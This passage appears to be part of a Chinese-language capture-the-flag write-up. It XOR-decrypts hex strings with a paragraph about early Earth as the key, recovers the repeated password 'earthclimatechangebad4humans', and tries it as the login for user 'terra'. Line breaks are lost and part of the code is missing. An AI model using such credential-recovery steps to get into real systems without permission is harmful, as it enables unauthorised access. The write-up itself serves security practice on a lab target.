Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."b1 = "37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40"b2 = "3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45"b3 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"c = binascii.b2a_hex(a)d = hex(int(c,16) ^ int(b3,16))print((binascii.a2b_hex(d[2:])))运行结果：earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat发现通过earthclimatechangebad4humans一直在循环，尝试登录用户名：terra密码：earthclimatechangebad4humans
